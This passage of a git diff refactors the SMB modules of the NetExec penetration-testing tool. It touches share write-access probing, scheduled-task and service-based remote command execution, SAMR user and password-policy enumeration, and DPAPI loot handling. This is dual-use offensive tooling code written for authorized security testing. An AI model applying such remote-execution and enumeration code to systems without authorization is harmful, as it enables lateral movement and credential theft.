output(sessions)
@@ -1387,10 +1381,17 @@ class smb(connection):
output(sessions)
def shares(self):
- temp_dir = ntpath.normpath("\\" + gen_random_string())
- temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
permissions = []
- write_check = bool(not self.args.no_write_check)
+ # ACL-based write check masks: each open attempt against the share root
+ # validates one specific permission. WRITE_DAC/WRITE_OWNER cover paths
+ # where the user can grant themselves write via ACL modification.
+ write_checks = [
+ (GENERIC_WRITE, "WRITE"),
+ (FILE_ADD_FILE, "WRITE"),
+ (FILE_ADD_SUBDIRECTORY, "WRITE (SUBDIR)"),
+ (WRITE_DAC, "WRITE (ACL)"),
+ (WRITE_OWNER, "WRITE (ACL)"),
+ ]
try:
self.logger.debug(f"domain: {self.domain}")
@@ -1424,19 +1425,24 @@ class smb(connection):
return permissions
for share in shares:
- share_name = share["shi1_netname"][:-1]
+ share_name = share["shi1_netname"].rstrip("\x00")
# Skip excluded shares
if self.args.exclude_shares and share_name in self.args.exclude_shares:
self.logger.debug(f"Skipping excluded share: {share_name}")
continue
- share_remark = share["shi1_remark"][:-1]
- share_info = {"name": share_name, "remark": share_remark, "access": []}
+ # Mask off STYPE_SPECIAL/STYPE_TEMPORARY flags; only the base type
+ # (DISKTREE/PRINTQ/DEVICE/IPC) determines whether write checks apply.
+ share_remark = share["shi1_remark"].rstrip("\x00")
+ share_info = {
+ "name": share_name,
+ "remark": share_remark,
+ "type": share["shi1_type"] & STYPE_MASK,
+ "access": [],
+ }
read = False
write = False
- write_dir = False
- write_file = False
try:
self.conn.listPath(share_name, "*")
read = True
@@ -1445,13 +1451,28 @@ class smb(connection):
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
except (NetBIOSError, UnicodeEncodeError) as e:
- write_check = False
share_info["access"].append("UNKNOWN (try '--no-smbv1')")
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1")
self.logger.info(f"Skipping WRITE permission check on share {share_name}")
+ permissions.append(share_info)
+ continue
- if write_check:
+ if share_info["type"] != STYPE_DISKTREE:
+ # Non-filesystem share (IPC, print queue, etc.) — write checks produce
+ # false positives due to non-file semantics; skip and report access as-is
+ self.logger.debug(f"Skipping write-access check on non-filesystem share {share_name} (type=0x{share_info['type']:02x})")
+ permissions.append(share_info)
+ continue
+
+ if self.args.file_write_check:
+ # Empirical write check — creates and deletes a temp file/dir.
+ # Use --file-write-check to enable. Catches post-ACL blocking (AV/EDR/quota)
+ # but leaves a brief artifact window if delete permissions are missing.
+ temp_dir = ntpath.normpath("\\" + gen_random_string())
+ temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
+ write_dir = False
+ write_file = False
try:
self.conn.createDirectory(share_name, temp_dir)
write_dir = True
@@ -1460,9 +1481,7 @@ class smb(connection):
self.conn.deleteDirectory(share_name, temp_dir)
except SessionError as e:
error = get_error_string(e)
- if error == "STATUS_OBJECT_NAME_NOT_FOUND":
- pass
- else:
+ if error != "STATUS_OBJECT_NAME_NOT_FOUND":
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
except SessionError as e:
error = get_error_string(e)
@@ -1478,9 +1497,7 @@ class smb(connection):
self.conn.deleteFile(share_name, temp_file)
except SessionError as e:
error = get_error_string(e)
- if error == "STATUS_OBJECT_NAME_NOT_FOUND":
- pass
- else:
+ if error != "STATUS_OBJECT_NAME_NOT_FOUND":
self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}")
except SessionError as e:
error = get_error_string(e)
@@ -1490,6 +1507,50 @@ class smb(connection):
if write_dir or write_file:
write = True
share_info["access"].append("WRITE")
+ else:
+ # ACL-based write check (default) — opens share root with FILE_OPEN +
+ # various access masks. No files created on disk. May not detect writes
+ # blocked post-ACL by AV/EDR or disk quota. Detects WRITE_DAC/WRITE_OWNER
+ # escalation paths that the empirical check misses.
+ seen_labels = set()
+ write_labels = []
+ for mask, label in write_checks:
+ if label in seen_labels:
+ continue
+ tid = None
+ try:
+ tid = self.conn.connectTree(share_name)
+ fid = self.conn.openFile(
+ tid,
+ "\\",
+ desiredAccess=mask,
+ shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
+ creationDisposition=FILE_OPEN,
+ fileAttributes=0,
+ creationOption=FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
+ )
+ self.conn.closeFile(tid, fid)
+ write_labels.append(label)
+ seen_labels.add(label)
+ self.logger.debug(f"{label} confirmed on {share_name} (mask=0x{mask:08x})")
+ except SessionError as e:
+ error = get_error_string(e)
+ self.logger.debug(f"No {label} on {share_name}: {error}")
+ except Exception as e:
+ self.logger.debug(f"{label} check error on {share_name}: {e}")
+ finally:
+ if tid:
+ with contextlib.suppress(Exception):
+ self.conn.disconnectTree(tid)
+
+ # If direct WRITE is achievable, suppress more granular labels
+ if "WRITE" in write_labels:
+ write_labels = ["WRITE"]
+
+ for lbl in write_labels:
+ share_info["access"].append(lbl)
+ if not write:
+ write = True
permissions.append(share_info)
@@ -1505,8 +1566,8 @@ class smb(connection):
self.logger.display("[REMOVED] Use the --shares read,write options instead.")
self.logger.display("Enumerated shares")
- self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}")
- self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}")
+ self.logger.highlight(f"{'Share':<15} {'Permissions':<22} {'Remark'}")
+ self.logger.highlight(f"{'-----':<15} {'-----------':<22} {'------'}")
for share in permissions:
name = share["name"]
@@ -1514,7 +1575,7 @@ class smb(connection):
perms = ",".join(share["access"])
if self.args.shares and self.args.shares.lower() not in perms.lower():
continue
- self.logger.highlight(f"{name:<15} {perms:<15} {remark}")
+ self.logger.highlight(f"{name:<15} {perms:<22} {remark}")
return permissions
def dir(self):
@@ -1661,10 +1722,7 @@ class smb(connection):
def disks(self):
try:
- rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\srvsvc", smb_connection=self.conn)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(srvs.MSRPC_UUID_SRVS)
+ dce = NXCRPCConnection(self).connect(r"\srvsvc", srvs.MSRPC_UUID_SRVS)
response = srvs.hNetrServerDiskEnum(dce, 0)
# Process the response
@@ -1720,10 +1778,7 @@ class smb(connection):
logged_on = set()
try:
- rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(wkst.MSRPC_UUID_WKST)
+ dce = NXCRPCConnection(self).connect(r"\wkssvc", wkst.MSRPC_UUID_WKST)
response = wkst.hNetrWkstaUserEnum(dce, 1)
for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]:
@@ -1836,40 +1891,12 @@ class smb(connection):
if not max_rid:
max_rid = int(self.args.rid_brute)
- KNOWN_PROTOCOLS = {
- 135: {"bindstr": rf"ncacn_ip_tcp:{self.remoteName}"},
- 139: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"},
- 445: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"},
- }
-
try:
- string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
- self.logger.debug(f"StringBinding {string_binding}")
- rpc_transport = transport.DCERPCTransportFactory(string_binding)
- rpc_transport.setRemoteHost(self.remoteName)
-
- if hasattr(rpc_transport, "set_credentials"):
- # This method exists only for selected protocol sequences.
- rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
-
- if self.kerberos:
- rpc_transport.set_kerberos(self.kerberos, self.kdcHost)
-
- dce = rpc_transport.get_dce_rpc()
- if self.kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
- dce.connect()
+ use_tcp = self.port == 135
+ dce = NXCRPCConnection(self, force_tcp=use_tcp).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
except Exception as e:
self.logger.fail(f"Error creating DCERPC connection: {e}")
return entries
-
- # Want encryption? Uncomment next line
- # But make simultaneous variable <= 100
-
- # Want fragmentation? Uncomment next line
-
- dce.bind(lsat.MSRPC_UUID_LSAT)
try:
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
except lsad.DCERPCSessionError as e:
@@ -2273,6 +2300,9 @@ class smb(connection):
if self.output_file:
self.output_file.close()
+ with open(self.output_file_template.format(output_folder="dpapi")) as f:
+ if sum(1 for _ in f) == 0:
+ self.logger.fail("No dpapi loot retrieved")
@requires_admin
def list_snapshots(self):
diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py
index 2300c036..d1514bec 100755
--- a/nxc/protocols/smb/atexec.py
+++ b/nxc/protocols/smb/atexec.py
@@ -1,36 +1,29 @@
import os
import random
-from textwrap import dedent
-from impacket.dcerpc.v5 import tsch, transport
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
-from nxc.helpers.misc import gen_random_string
-from time import sleep
from datetime import datetime, timedelta
+from textwrap import dedent
+from time import sleep
+
+from impacket.dcerpc.v5 import tsch
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+from nxc.helpers.misc import gen_random_string
+from nxc.helpers.rpc import NXCRPCConnection
class TSCH_EXEC:
- def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None,
+ def __init__(self, connection, logger=None, tries=None, share=None,
# These options are used by the schtask_as module, except the run_task_as
# that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified
run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None):
- self.__target = target
- self.__username = username
- self.__password = password
- self.__domain = domain
- self.__share_name = share_name
- self.__lmhash = ""
- self.__nthash = ""
+ self.__connection = connection
+ self.logger = logger
+ self.__tries = tries
+ self.__share = share
self.__outputBuffer = b""
self.__retOutput = False
- self.__aesKey = aesKey
- self.__doKerberos = doKerberos
- self.__remoteHost = remoteHost
- self.__kdcHost = kdcHost
- self.__tries = tries
self.__output_filename = None
- self.__share = share
- self.logger = logger
# Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py
self.task_name = task_name if task_name else gen_random_string(8)
@@ -39,32 +32,6 @@ class TSCH_EXEC:
self.output_filename = output_filename
self.output_file_location = output_file_location
- if hashes is not None:
- # This checks to see if we didn't provide the LM Hash
- if hashes.find(":") != -1:
- self.__lmhash, self.__nthash = hashes.split(":")
- else:
- self.__nthash = hashes
-
- if self.__password is None:
- self.__password = ""
-
- stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]"
- self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
- self.__rpctransport.setRemoteHost(self.__remoteHost)
-
- if hasattr(self.__rpctransport, "set_credentials"):
- # This method exists only for selected protocol sequences.
- self.__rpctransport.set_credentials(
- self.__username,
- self.__password,
- self.__domain,
- self.__lmhash,
- self.__nthash,
- self.__aesKey,
- )
- self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
-
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -172,20 +139,12 @@ class TSCH_EXEC:
return dedent(xml)
def execute_handler(self, command):
- dce = self.__rpctransport.get_dce_rpc()
- if self.__doKerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
- dce.set_credentials(*self.__rpctransport.get_credentials())
- dce.connect()
+ dce = NXCRPCConnection(self.__connection).connect(r"\atsvc", tsch.MSRPC_UUID_TSCHS, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
xml = self.gen_xml(command)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Creating task \\{self.task_name}")
try:
- # Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
- dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
- dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if e.error_code and hex(e.error_code) == "0x80070005":
@@ -212,14 +171,13 @@ class TSCH_EXEC:
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
if self.__retOutput:
- smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
- smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
+ self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
@@ -247,7 +205,7 @@ class TSCH_EXEC:
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
- smbConnection.deleteFile(self.__share, self.__output_filename)
+ self.__connection.conn.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py
index 875e3449..2731dd38 100644
--- a/nxc/protocols/smb/passpol.py
+++ b/nxc/protocols/smb/passpol.py
@@ -1,82 +1,34 @@
# Stolen from https://github.com/Wh1t3Fox/polenum
-from impacket.dcerpc.v5.rpcrt import DCERPC_v5
-from impacket.dcerpc.v5 import transport, samr
+from impacket.dcerpc.v5 import samr
from nxc.logger import nxc_logger
from nxc.helpers.misc import convert, d2b
+from nxc.helpers.rpc import NXCRPCConnection
class PassPolDump:
- KNOWN_PROTOCOLS = {
- "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139),
- "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445),
- }
-
def __init__(self, connection):
self.logger = connection.logger
- self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
- self.protocol = connection.args.port
- self.username = connection.username
- self.password = connection.password
- self.domain = connection.domain
- self.hash = connection.hash
- self.lmhash = ""
- self.nthash = ""
- self.aesKey = connection.aesKey
- self.doKerberos = connection.kerberos
- self.host = connection.host
- self.kdcHost = connection.kdcHost
- self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
+ self.connection = connection
self.pass_pol = {}
- if self.hash is not None:
- if self.hash.find(":") != -1:
- self.lmhash, self.nthash = self.hash.split(":")
- else:
- self.nthash = self.hash
-
- if self.password is None:
- self.password = ""
-
def dump(self):
- # Try all requested protocols until one works.
- for protocol in self.protocols:
- try:
- protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
- port = protodef[1]
- except KeyError:
- nxc_logger.debug(f"Invalid Protocol '{protocol}'")
- nxc_logger.debug(f"Trying protocol {protocol}")
- rpctransport = transport.SMBTransport(
- self.addr,
- port,
- r"\samr",
- self.username,
- self.password,
- self.domain,
- self.lmhash,
- self.nthash,
- self.aesKey,
- doKerberos=self.doKerberos,
- kdcHost=self.kdcHost,
- remote_host=self.host,
- )
- try:
- self.fetchList(rpctransport)
- except Exception as e:
- nxc_logger.debug(f"Protocol failed: {e}")
- else:
- # Got a response. No need for further iterations.
- self.pretty_print()
- break
+ try:
+ dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
+ except Exception as e:
+ nxc_logger.debug(f"Failed to connect to SAMR: {e}")
+ return self.pass_pol
+
+ try:
+ self.fetchList(dce)
+ except Exception as e:
+ nxc_logger.debug(f"Protocol failed: {e}")
+ else:
+ self.pretty_print()
return self.pass_pol
- def fetchList(self, rpctransport):
- dce = DCERPC_v5(rpctransport)
- dce.connect()
- dce.bind(samr.MSRPC_UUID_SAMR)
-
+ def fetchList(self, dce):
# Setup Connection
resp = samr.hSamrConnect2(dce)
if resp["ErrorCode"] != 0:
diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py
index 3af2a486..add80831 100644
--- a/nxc/protocols/smb/proto_args.py
+++ b/nxc/protocols/smb/proto_args.py
@@ -51,11 +51,12 @@ def proto_args(parser, parents):
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration")
- mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)")
+ shares_arg = mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)")
mapping_enum_group.add_argument("--exclude-shares", nargs="+", help="List of shares to exclude from enumeration (e.g., C$ Admin$ IPC$)")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces")
- mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
+ file_write_check_arg = mapping_enum_group.add_argument("--file-write-check", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use file creation to check WRITE access on shares (default: ACL-based check, no disk writes)")
+ file_write_check_arg.make_required = [shares_arg]
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'READ' 'WRITE' or 'READ,WRITE'")
mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks")
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.")
diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py
index 5a4cc0f1..bfea2a99 100644
--- a/nxc/protocols/smb/samrfunc.py
+++ b/nxc/protocols/smb/samrfunc.py
@@ -2,41 +2,20 @@
# Which in turn stole from Impacket :)
# Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub)
-from impacket.dcerpc.v5 import transport, lsat, lsad, samr
+from impacket.dcerpc.v5 import lsat, lsad, samr
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.nmb import NetBIOSError
from impacket.smbconnection import SessionError
+from nxc.helpers.rpc import NXCRPCConnection
class SamrFunc:
def __init__(self, connection):
self.logger = connection.logger
- self.addr = connection.host
- self.remote_name = connection.remoteName
- self.protocol = connection.args.port
- self.username = connection.username
- self.password = connection.password
- self.domain = connection.domain
- self.hash = connection.hash
- self.lmhash = connection.lmhash
- self.nthash = connection.nthash
- self.aesKey = connection.aesKey
- self.doKerberos = connection.kerberos
- self.kdcHost = connection.kdcHost
- self.host = connection.host
+ self.connection = connection
- if self.hash is not None:
- if self.hash.find(":") != -1:
- self.lmhash, self.nthash = self.hash.split(":")
- else:
- self.nthash = self.hash
-
- if self.password is None:
- self.password = ""
-
- self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger)
- self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
+ self.samr_query = SAMRQuery(connection=connection, logger=self.logger)
+ self.lsa_query = LSAQuery(connection=connection, logger=self.logger)
def get_builtin_groups(self, group):
domains = self.samr_query.get_domains()
@@ -85,54 +64,21 @@ class SamrFunc:
class SAMRQuery:
- def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kerberos=None, kdcHost="", aesKey="", logger=None):
- self.__username = username
- self.__password = password
- self.__domain = domain
- self.__lmhash = lmhash
- self.__nthash = nthash
- self.__aesKey = aesKey
- self.__port = port
- self.__remote_name = remote_name
- self.__remote_host = remote_host
- self.__kerberos = kerberos
- self.__kdcHost = kdcHost
+ def __init__(self, connection=None, logger=None):
+ self.connection = connection
self.logger = logger
self.dce = self.get_dce()
self.server_handle = self.get_server_handle()
- def get_transport(self):
- string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
- self.logger.debug(f"Binding to {string_binding}")
- # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
- return transport.SMBTransport(
- self.__remote_name,
- self.__port,
- r"\samr",
- self.__username,
- self.__password,
- self.__domain,
- self.__lmhash,
- self.__nthash,
- self.__aesKey,
- doKerberos=self.__kerberos,
- kdcHost=self.__kdcHost,
- )
-
def get_dce(self):
- rpc_transport = self.get_transport()
- rpc_transport.setRemoteHost(self.__remote_host)
try:
- dce = rpc_transport.get_dce_rpc()
- dce.connect()
- dce.bind(samr.MSRPC_UUID_SAMR)
+ return NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except NetBIOSError as e:
self.logger.error(f"NetBIOSError on Connection: {e}")
return None
except SessionError as e:
self.logger.error(f"SessionError on Connection: {e}")
return None
- return dce
def get_server_handle(self):
if self.dce:
@@ -178,53 +124,18 @@ class SAMRQuery:
class LSAQuery:
- def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kdcHost="", aesKey="", kerberos=None, logger=None):
- self.__username = username
- self.__password = password
- self.__domain = domain
- self.__lmhash = lmhash
- self.__nthash = nthash
- self.__aesKey = aesKey
- self.__port = port
- self.__remote_name = remote_name
- self.__remote_host = remote_host
- self.__kdcHost = kdcHost
- self.__kerberos = kerberos
+ def __init__(self, connection=None, logger=None):
+ self.connection = connection
+ self.logger = logger
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
- self.logger = logger
-
- def get_transport(self):
- string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]"
- rpc_transport = transport.DCERPCTransportFactory(string_binding)
- rpc_transport.set_dport(self.__port)
- rpc_transport.setRemoteHost(self.__remote_host)
- if self.__kerberos:
- rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
- if hasattr(rpc_transport, "set_credentials"):
- # This method exists only for selected protocol sequences.
- rpc_transport.set_credentials(
- self.__username,
- self.__password,
- self.__domain,
- self.__lmhash,
- self.__nthash,
- self.__aesKey,
- )
- return rpc_transport
def get_dce(self):
- rpc_transport = self.get_transport()
try:
- dce = rpc_transport.get_dce_rpc()
- if self.__kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
- dce.connect()
- dce.bind(lsat.MSRPC_UUID_LSAT)
+ return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
except NetBIOSError as e:
self.logger.fail(f"NetBIOSError on Connection: {e}")
return None
- return dce
def get_policy_handle(self):
resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py
index 43a6c868..9a8071c3 100644
--- a/nxc/protocols/smb/samruser.py
+++ b/nxc/protocols/smb/samruser.py
@@ -1,68 +1,35 @@
# Stolen from Impacket
-from impacket.dcerpc.v5 import transport, samr
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.dcerpc.v5.rpcrt import DCERPC_v5
-from impacket.nt_errors import STATUS_MORE_ENTRIES
from datetime import datetime, timedelta
+from impacket.dcerpc.v5 import samr
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+
+from nxc.helpers.rpc import NXCRPCConnection
+
class UserSamrDump:
- KNOWN_PROTOCOLS = {
- "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139),
- "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445),
- }
-
def __init__(self, connection):
self.logger = connection.logger
- self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
- self.protocol = connection.args.port
- self.username = connection.username
- self.password = connection.password
- self.domain = connection.domain
- self.hash = connection.hash
- self.lmhash = ""
- self.nthash = ""
- self.aesKey = connection.aesKey
- self.doKerberos = connection.kerberos
- self.host = connection.host
- self.kdcHost = connection.kdcHost
- self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
+ self.connection = connection
self.users = []
- self.rpc_transport = None
self.dce = None
- if self.hash is not None:
- if self.hash.find(":") != -1:
- self.lmhash, self.nthash = self.hash.split(":")
- else:
- self.nthash = self.hash
-
- if self.password is None:
- self.password = ""
-
def dump(self, requested_users=None, dump_path=None):
- # Try all requested protocols until one works.
- for protocol in self.protocols:
- try:
- protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
- port = protodef[1]
- except KeyError:
- self.logger.debug(f"Invalid Protocol: {protocol}")
+ try:
+ self.dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
+ except Exception as e:
+ self.logger.debug(f"Failed to connect to SAMR: {e}")
+ return self.users
- self.logger.debug(f"Trying protocol {protocol}")
- self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
- try:
- self.fetch_users(requested_users, dump_path)
- break
- except Exception as e:
- self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
+ try:
+ self.fetch_users(requested_users, dump_path)
+ except Exception as e:
+ self.logger.debug(f"Connection failed: {e}")
return self.users
def fetch_users(self, requested_users, dump_path):
- self.dce = DCERPC_v5(self.rpc_transport)
- self.dce.connect()
- self.dce.bind(samr.MSRPC_UUID_SAMR)
users = []
# Setup Connection
diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py
index 73dd59f2..1ac2c298 100755
--- a/nxc/protocols/smb/smbexec.py
+++ b/nxc/protocols/smb/smbexec.py
@@ -1,78 +1,34 @@
import os
from os.path import join as path_join
from time import sleep
-from impacket.dcerpc.v5 import transport, scmr
+from impacket.dcerpc.v5 import scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from nxc.helpers.rpc import NXCRPCConnection
class SMBEXEC:
- def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
- self.__host = host
- self.__share_name = share_name
- self.__port = port
- self.__username = username
- self.__password = password
- self.__serviceName = gen_random_string()
- self.__domain = domain
- self.__lmhash = ""
- self.__nthash = ""
+ def __init__(self, connection, share=None, logger=None, tries=None):
+ self.__connection = connection
self.__share = share
- self.__smbconnection = smbconnection
+ self.logger = logger
+ self.__tries = tries
+
+ self.__serviceName = gen_random_string()
self.__output = None
self.__batchFile = None
self.__outputBuffer = b""
self.__shell = "%COMSPEC% /Q /c "
self.__retOutput = False
- self.__rpctransport = None
- self.__scmr = None
- self.__aesKey = aesKey
- self.__doKerberos = doKerberos
- self.__remoteHost = remoteHost
- self.__kdcHost = kdcHost
- self.__tries = tries
- self.logger = logger
- if hashes is not None:
- # This checks to see if we didn't provide the LM Hash
- if hashes.find(":") != -1:
- self.__lmhash, self.__nthash = hashes.split(":")
- else:
- self.__nthash = hashes
+ rpc = NXCRPCConnection(self.__connection)
+ self.__scmr = rpc.connect(r"\svcctl", scmr.MSRPC_UUID_SCMR)
+ self.__rpctransport = rpc.transport
- if self.__password is None:
- self.__password = ""
-
- stringbinding = f"ncacn_np:{self.__host}[\\pipe\\svcctl]"
- self.logger.debug(f"StringBinding {stringbinding}")
- self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
- self.__rpctransport.set_dport(self.__port)
-
- if hasattr(self.__rpctransport, "setRemoteHost"):
- self.__rpctransport.setRemoteHost(self.__remoteHost)
-
- if hasattr(self.__rpctransport, "set_credentials"):
- # This method exists only for selected protocol sequences.
- self.__rpctransport.set_credentials(
- self.__username,
- self.__password,
- self.__domain,
- self.__lmhash,
- self.__nthash,
- self.__aesKey,
- )
- self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
-
- self.__scmr = self.__rpctransport.get_dce_rpc()
- if self.__doKerberos:
- self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
- self.__scmr.connect()
s = self.__rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
- self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp["lpScHandle"]
@@ -145,7 +101,7 @@ class SMBEXEC:
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
- self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
+ self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
@@ -174,58 +130,10 @@ class SMBEXEC:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
- self.__smbconnection.deleteFile(self.__share, self.__output)
+ self.__connection.conn.deleteFile(self.__share, self.__output)
except Exception:
pass
- def execute_fileless(self, data):
- self.__output = gen_random_string(6)
- self.__batchFile = gen_random_string(6) + ".bat"
- local_ip = self.__rpctransport.get_socket().getsockname()[0]
-
